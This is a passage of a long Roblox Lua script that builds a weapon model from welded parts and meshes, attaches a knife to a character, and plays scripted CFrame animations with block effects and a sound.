  4012. Partss = New("Part",fgm,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.SmoothPlastic,Shape = Enum.PartType.Cylinder,Size = Vector3.new(0.200000003, 0.221472204, 0.221472189),CFrame = CFrame.new(3.47526526, 1.10428262, -23.2953568, 0.0172099359, 1.26359728e-05, 0.999851942, 0.999856234, 0.000738034665, -0.0172098596, -0.000738148578, 1.00000226, 2.36918868e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.105882, 0.164706, 0.207843),})
  4013. Mesh = New("SpecialMesh",Partss,"Mesh",{Scale = Vector3.new(0.123040125, 1, 1),MeshType = Enum.MeshType.Cylinder,})
  4014. mot = New("Weld",Partss,"mot",{Part0 = Partss,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098819, 0.999853015, -0.00073814491, 1.18687749e-05, 0.000738047936, 1.0000006, 0.999851882, -0.0172098596, 1.60187483e-06),C1 = CFrame.new(-0.790078878, 0.305837631, 1.57356262e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4015. Part = New("Part",fgm,"Part",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(3.49040294, 1.9837563, -23.5174713, 0.0172099359, 1.26359728e-05, 0.999851942, 0.999856234, 0.000738034665, -0.0172098596, -0.000738148578, 1.00000226, 2.36918868e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4016. Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.615200579, 0.36912033, 0.24608025),MeshId = "http://www.roblox.com/asset/?id=3270017",MeshType = Enum.MeshType.FileMesh,})
  4017. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098819, 0.999853015, -0.00073814491, 1.18687749e-05, 0.000738047936, 1.0000006, 0.999851882, -0.0172098596, 1.60187483e-06),C1 = CFrame.new(0.0895236731, 0.0837230682, 1.52587891e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4018. Part = New("Part",fgm,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.295296252, 0.738240778, 0.369120389),CFrame = CFrame.new(3.49802279, 2.42631888, -23.8138046, 0.0172099452, 3.70001203e-08, 0.999852061, 0.99985671, -3.59708352e-09, -0.0172098596, -4.18887769e-09, 1.0000025, 2.26488032e-06),BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.105882, 0.164706, 0.207843),})
  4019. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),C1 = CFrame.new(0.532151103, -0.212610245, 1.74045563e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4020. Part = New("Part",fgm,"Part",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.344512314, 0.78745681, 0.344512314),CFrame = CFrame.new(3.49802279, 2.42631888, -23.8138046, 0.0172099452, 3.70001203e-08, 0.999852061, 0.99985671, -3.59708352e-09, -0.0172098596, -4.18887769e-09, 1.0000025, 2.26488032e-06),BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4021. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),C1 = CFrame.new(0.532151103, -0.212610245, 1.74045563e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4022. Part = New("Part",fgm,"Part",{Material = Enum.Material.SmoothPlastic,Shape = Enum.PartType.Cylinder,Size = Vector3.new(0.984321058, 0.200000003, 0.200000003),CFrame = CFrame.new(3.60706425, 1.61264217, -23.4187698, 0.0172099359, 1.26359728e-05, 0.999851942, 0.999856234, 0.000738034665, -0.0172098596, -0.000738148578, 1.00000226, 2.36918868e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4023. Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(1, 0.492160618, 0.492160439),MeshType = Enum.MeshType.Cylinder,})
  4024. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098819, 0.999853015, -0.00073814491, 1.18687749e-05, 0.000738047936, 1.0000006, 0.999851882, -0.0172098596, 1.60187483e-06),C1 = CFrame.new(-0.279527187, 0.182424545, 0.12304616, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4025. Wedge = New("WedgePart",fgm,"Wedge",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(3.47672749, 1.18911982, -23.1232109, 0.999851942, 0.00638213893, 0.0159827713, -0.0172098316, 0.37065956, 0.928613782, 4.44045327e-06, -0.928749561, 0.370713741),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4026. Mesh = New("SpecialMesh",Wedge,"Mesh",{Scale = Vector3.new(0.24608025, 0.246080264, 0.615200639),MeshType = Enum.MeshType.Wedge,})
  4027. mot = New("Weld",Wedge,"mot",{Part0 = Wedge,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.999851882, -0.0172098316, 3.67313623e-06, 0.00638283044, 0.370658338, -0.928748012, 0.0159824342, 0.928610861, 0.370713145),C1 = CFrame.new(-0.705229163, 0.477983475, 1.76429749e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4028. Wedge = New("WedgePart",fgm,"Wedge",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.344512254, 0.787456751, 0.200000003),CFrame = CFrame.new(3.50247502, 2.68478155, -23.8132839, 0.999851942, 1.0713723e-05, -0.0172099732, -0.0172098912, 0.000738376984, -0.999856234, 4.21693585e-06, 1.00000226, 0.000738456321),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4029. Mesh = New("SpecialMesh",Wedge,"Mesh",{Scale = Vector3.new(1, 1, 0.861280859),MeshType = Enum.MeshType.Wedge,})
  4030. mot = New("Weld",Wedge,"mot",{Part0 = Wedge,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.999851882, -0.0172098912, 3.44961882e-06, 9.9465251e-06, 0.000738390256, 1.0000006, -0.0172099192, -0.999853015, 0.000738452654),C1 = CFrame.new(0.790651679, -0.212089539, 2.07424164e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4031. Wedge = New("WedgePart",fgm,"Wedge",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(3.4904809, 1.98827124, -23.5162678, -0.999852061, -0.0148990965, 0.00861407723, 0.0172099397, -0.865535975, 0.500560343, -4.36594746e-06, 0.500633478, 0.865662456),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4032. Mesh = New("SpecialMesh",Wedge,"Mesh",{Scale = Vector3.new(0.24608025, 0.369120389, 0.861280918),MeshType = Enum.MeshType.Wedge,})
  4033. mot = New("Weld",Wedge,"mot",{Part0 = Wedge,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, -0.999851942, 0.0172099397, -3.59863043e-06, -0.0148994327, -0.865533173, 0.500632644, 0.00861338526, 0.500558794, 0.865661025),C1 = CFrame.new(0.0940393209, 0.0849266052, 1.54972076e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4034. Wedge = New("WedgePart",fgm,"Wedge",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.442944348, 0.200000003, 0.200000003),CFrame = CFrame.new(3.37415838, 2.37982368, -23.1609974, 0.0172098633, 1.48413446e-05, 0.999851882, 0.999856234, 0.0007376945, -0.0172097869, -0.000737846654, 1.00000215, 7.44058752e-08),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4035. Mesh = New("SpecialMesh",Wedge,"Mesh",{Scale = Vector3.new(1, 0.369120389, 0.492160529),MeshType = Enum.MeshType.Wedge,})
  4036. mot = New("Weld",Wedge,"mot",{Part0 = Wedge,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098093, 0.999853015, -0.000737842987, 1.40741467e-05, 0.000737707771, 1.00000048, 0.999851823, -0.0172097888, -6.92903996e-07),C1 = CFrame.new(0.483531356, 0.440196991, -0.12302804, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4037. Wedge = New("WedgePart",fgm,"Wedge",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.61520052, 0.200000003, 0.200000003),CFrame = CFrame.new(3.35783243, 1.43252242, -23.1602993, 0.0172098633, 1.48413446e-05, 0.999851882, 0.999856234, 0.0007376945, -0.0172097869, -0.000737846654, 1.00000215, 7.44058752e-08),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4038. Mesh = New("SpecialMesh",Wedge,"Mesh",{Scale = Vector3.new(1, 0.369120389, 0.492160529),MeshType = Enum.MeshType.Wedge,})
  4039. mot = New("Weld",Wedge,"mot",{Part0 = Wedge,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098093, 0.999853015, -0.000737842987, 1.40741467e-05, 0.000737707771, 1.00000048, 0.999851823, -0.0172097888, -6.92903996e-07),C1 = CFrame.new(-0.463909149, 0.440895081, -0.123048544, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4040. Wedge = New("WedgePart",fgm,"Wedge",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(1.47648132, 0.200000003, 0.200000003),CFrame = CFrame.new(3.61130548, 1.85886192, -23.160614, -0.0172098689, 1.04156998e-05, -0.99985218, -0.999856234, 0.000738191127, 0.0172097925, 0.000738266157, 1.00000238, -4.55221243e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4041. Mesh = New("SpecialMesh",Wedge,"Mesh",{Scale = Vector3.new(1, 0.369120389, 0.492160529),MeshType = Enum.MeshType.Wedge,})
  4042. mot = New("Weld",Wedge,"mot",{Part0 = Wedge,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, -0.0172098149, -0.999853075, 0.00073826249, 9.64850187e-06, 0.00073820434, 1.00000072, -0.999852121, 0.0172097944, -3.78489494e-06),C1 = CFrame.new(-0.0332713127, 0.440580368, 0.123049498, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4043. Wedge = New("WedgePart",fgm,"Wedge",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.36912033, 0.738240778, 0.200000003),CFrame = CFrame.new(3.50183868, 2.64789343, -23.8132629, 0.999851942, 1.0818032e-05, -0.017209895, -0.0172098186, 0.000737608876, -0.999856234, 4.13497901e-06, 1.00000238, 0.000737691764),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.105882, 0.164706, 0.207843),})
  4044. Mesh = New("SpecialMesh",Wedge,"Mesh",{Scale = Vector3.new(1, 1, 0.738240719),MeshType = Enum.MeshType.Wedge,})
  4045. mot = New("Weld",Wedge,"mot",{Part0 = Wedge,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.999851882, -0.0172098186, 3.36766243e-06, 1.00508332e-05, 0.000737622147, 1.00000072, -0.0172098409, -0.999853015, 0.000737688097),C1 = CFrame.new(0.753758311, -0.212068558, 1.93119049e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4046. Wedge = New("WedgePart",fgm,"Wedge",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.344512254, 0.787456751, 0.200000003),CFrame = CFrame.new(3.49357963, 2.16808391, -23.8129005, 0.999852061, -1.05647114e-05, 0.0172100067, -0.0172099303, -0.000737611321, 0.999856114, 4.36594746e-06, -1.00000226, -0.000737689785),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4047. Mesh = New("SpecialMesh",Wedge,"Mesh",{Scale = Vector3.new(1, 1, 0.861280859),MeshType = Enum.MeshType.Wedge,})
  4048. mot = New("Weld",Wedge,"mot",{Part0 = Wedge,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.999851942, -0.0172099303, 3.59863043e-06, -9.79751348e-06, -0.000737624592, -1.0000006, 0.0172099527, 0.999852955, -0.000737686118),C1 = CFrame.new(0.273878455, -0.211706161, 1.90734863e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4049. Wedge = New("WedgePart",fgm,"Wedge",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.36912033, 0.738240659, 0.200000003),CFrame = CFrame.new(3.49420977, 2.20497489, -23.8129292, 0.999852061, -1.05647114e-05, 0.0172100067, -0.0172099303, -0.000737611321, 0.999856114, 4.36594746e-06, -1.00000226, -0.000737689785),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.105882, 0.164706, 0.207843),})
  4050. Mesh = New("SpecialMesh",Wedge,"Mesh",{Scale = Vector3.new(1, 1, 0.738240719),MeshType = Enum.MeshType.Wedge,})
  4051. mot = New("Weld",Wedge,"mot",{Part0 = Wedge,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.999851942, -0.0172099303, 3.59863043e-06, -9.79751348e-06, -0.000737624592, -1.0000006, 0.0172099527, 0.999852955, -0.000737686118),C1 = CFrame.new(0.310774684, -0.211734772, 1.43051147e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4052.  
  4053. for _,v in pairs(m:children()) do
  4054. if v:IsA("Part") then
  4055. v.CanCollide = false
  4056. end
  4057. end
  4058.  
  4059. local knife = Instance.new("Part", FCharacter)
  4060. knife.Locked = true
  4061. knife.Name ="Knife"
  4062. knife.CanCollide = false
  4063. knife.CFrame = FCharacter.Torso.CFrame
  4064. knife.Size = Vector3.new(2.4,1,1)
  4065. local sbox = Instance.new("SelectionBox",knife)
  4066. sbox.Adornee=knife
  4067. sbox.Transparency = 1
  4068. local mesh = Instance.new("SpecialMesh",knife)
  4069. mesh.MeshType = Enum.MeshType.FileMesh
  4070. mesh.TextureId = "rbxassetid://430991793"
  4071. mesh.MeshId = "rbxassetid://430991742"
  4072. mesh.Scale = Vector3.new(0.3,0.3,0.3)
  4073. local holder = Instance.new("Part",FCharacter)
  4074. holder.BrickColor = BrickColor.new("Brown")
  4075. holder.TopSurface,holder.BottomSurface = "SmoothNoOutlines" ,"SmoothNoOutlines"
  4076. holder.Size = Vector3.new(.2,2,.6)
  4077. holder.CanCollide = false
  4078. local knifweld = Instance.new("Weld",FCharacter)
  4079. knifweld.Part1 = holder
  4080. knifweld.Part0 = knife
  4081. knifweld.C0 = CFrame.new(-.3,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-90))
  4082. local holderweld = Instance.new("Weld",FCharacter)
  4083. holderweld.Part0 = holder
  4084. holderweld.Part1 = FCharacter['Left Leg']
  4085. holderweld.C0 = CFrame.new(0.5,-0.5,-0.5) * CFrame.Angles(math.rad(50),0,0)
  4086. wait()
  4087. FRootPart.Anchored = true
  4088. RootPart.Anchored = true
  4089. wait(1)
  4090. if debugIt == false then
  4091. for i = 0,1,0.1 do
  4092. local speed = .3
  4093. local table = {
  4094. CFrame.new(0, 2.98023224e-08, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4095. CFrame.new(7.62939453e-06, 1.49997091, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4096. CFrame.new(1.49999273, 0.120001435, 0, 0.949446321, -0.313935041, 0, 0.313935041, 0.949446321, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4097. CFrame.new(-1.80998349, 0.550002098, 0, -0.0958094522, 0.995400369, 0, -0.995401978, -0.0958093852, 0, -0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4098. CFrame.new(0.659994006, -1.99997091, 0, 0.985384941, -0.170343637, 0, 0.170343637, 0.985384941, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4099. CFrame.new(-0.619998693, -1.99998927, -0, 0.970477402, 0.241212875, 0, -0.24121283, 0.970477402, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0)
  4100. }
  4101. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4102. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4103. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4104. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4105. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4106. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4107. moter.C0 = clerp(moter.C0, CFrame.new(0.0111932121, -1.63769805, -0.318755955, -0.0172044784, -1.3951445e-05, -0.999852121, 0.999852002, 3.55020165e-06, -0.0172044784, 3.78862023e-06, -1.00000012, 1.38879986e-05) * CFrame.new(0, 0, 0.25) * CFrame.Angles(math.rad(90), 0, 0), 0.3)
  4108. swait()
  4109. end
  4110.  
  4111. wait(1)
  4112. coroutine.wrap(function()
  4113. Effects.Block.Create(BrickColor.new("Bright red"), Partss.CFrame, 2, 2, 2, 0.9, 0.9, 0.9, 0.05)
  4114. Effects.Block.Create(BrickColor.new("Deep orange"), Partss.CFrame, 2, 2, 2, 0.5, 0.5, 0.5, 0.05)
  4115. CFuncs["Sound"].Create("http://www.roblox.com/asset/?id=136523485", Character, 1, .5)
  4116. for i = 0,1,0.1 do
  4117. local speed = .3
  4118. local table = {
  4119. CFrame.new(0, 2.98023224e-08, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4120. CFrame.new(7.62939453e-06, 1.49997091, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4121. CFrame.new(1.49999273, 0.120001435, 0, 0.949446321, -0.313935041, 0, 0.313935041, 0.949446321, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4122. CFrame.new(-1.80998576, 0.949998736, -0, -0.743379056, 0.668870509, 0, -0.668870509, -0.743379056, 0, -0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4123. CFrame.new(0.659994006, -1.99997091, 0, 0.985384941, -0.170343637, 0, 0.170343637, 0.985384941, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4124. CFrame.new(-0.619998693, -1.99998927, -0, 0.970477402, 0.241212875, 0, -0.24121283, 0.970477402, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0)
  4125. }
  4126. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4127. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4128. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4129. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4130. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4131. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4132. moter.C0 = clerp(moter.C0, CFrame.new(0.0111932121, -1.63769805, -0.318755955, -0.0172044784, -1.3951445e-05, -0.999852121, 0.999852002, 3.55020165e-06, -0.0172044784, 3.78862023e-06, -1.00000012, 1.38879986e-05) * CFrame.new(0, 0, 0.25) * CFrame.Angles(math.rad(90), 0, 0), 0.3)
  4133. swait()
  4134. end
  4135. wait()
  4136. for i = 0,1,0.1 do
  4137. local speed = .3
  4138. local table = {
  4139. CFrame.new(0, 2.98023224e-08, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4140. CFrame.new(7.62939453e-06, 1.49997091, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4141. CFrame.new(1.49999273, 0.120001435, 0, 0.949446321, -0.313935041, 0, 0.313935041, 0.949446321, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4142. CFrame.new(-1.80998349, 0.550002098, 0, -0.0958094522, 0.995400369, 0, -0.995401978, -0.0958093852, 0, -0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4143. CFrame.new(0.659994006, -1.99997091, 0, 0.985384941, -0.170343637, 0, 0.170343637, 0.985384941, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4144. CFrame.new(-0.619998693, -1.99998927, -0, 0.970477402, 0.241212875, 0, -0.24121283, 0.970477402, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0)
  4145. }
  4146. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4147. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4148. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4149. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4150. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4151. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4152. moter.C0 = clerp(moter.C0, CFrame.new(0.0111932121, -1.63769805, -0.318755955, -0.0172044784, -1.3951445e-05, -0.999852121, 0.999852002, 3.55020165e-06, -0.0172044784, 3.78862023e-06, -1.00000012, 1.38879986e-05) * CFrame.new(0, 0, 0.25) * CFrame.Angles(math.rad(90), 0, 0), 0.3)
  4153. swait()
  4154. end
  4155. end)()
  4156.  
  4157.  
  4158.  
  4159. for i = 0, 1, 0.1 do
  4160. swait()
  4161. PlayAnimationFromTable({
  4162. CFrame.new(0, -2.53465056, -3.14089251, 1, 0, 0, 0, -0.026162995, 0.99965775, 0, -0.99965775, -0.026162995) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4163. CFrame.new(7.62939453e-06, 1.49996197, -5.48362777e-06, 1, 0, 0, 0, 1.00000012, 0, 0, 0, 1.00000012) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4164. CFrame.new(1.76997232, 0.969703615, 0.0185622945, -0.825149953, -0.564913094, 2.90976971e-07, 0.56491369, -0.825144649, -7.52694905e-06, 4.50573862e-06, -5.99585474e-06, 1.00000489) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4165. CFrame.new(-1.80998182, 0.310005337, -2.61630303e-05, 0.918722868, 0.394903064, 1.61788887e-06, -0.394903064, 0.918722928, -3.44775617e-06, -2.84798443e-06, 2.52947211e-06, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4166. CFrame.new(0.819993675, -1.99995661, -8.79401341e-06, 0.950523973, -0.310651302, 8.76989304e-07, 0.310651362, 0.950523973, -4.51132655e-06, 5.69038093e-07, 4.56348062e-06, 1.00000012) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4167. CFrame.new(-0.659999847, -1.99995279, -8.66005939e-06, 0.972906768, 0.231197968, 2.30545061e-06, -0.231197998, 0.972906768, -6.87874854e-06, -3.83378938e-06, 6.15976751e-06, 1.00000012) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4168. }, .3, false)
  4169. end
  4170. wait(1)
  4171. for i = 0,1,.1 do
  4172. local speed = .3
  4173. local table = {
  4174. CFrame.new(-0, -0, -0, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4175. CFrame.new(7.62939453e-06, 1.50001144, 4.03896783e-28, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
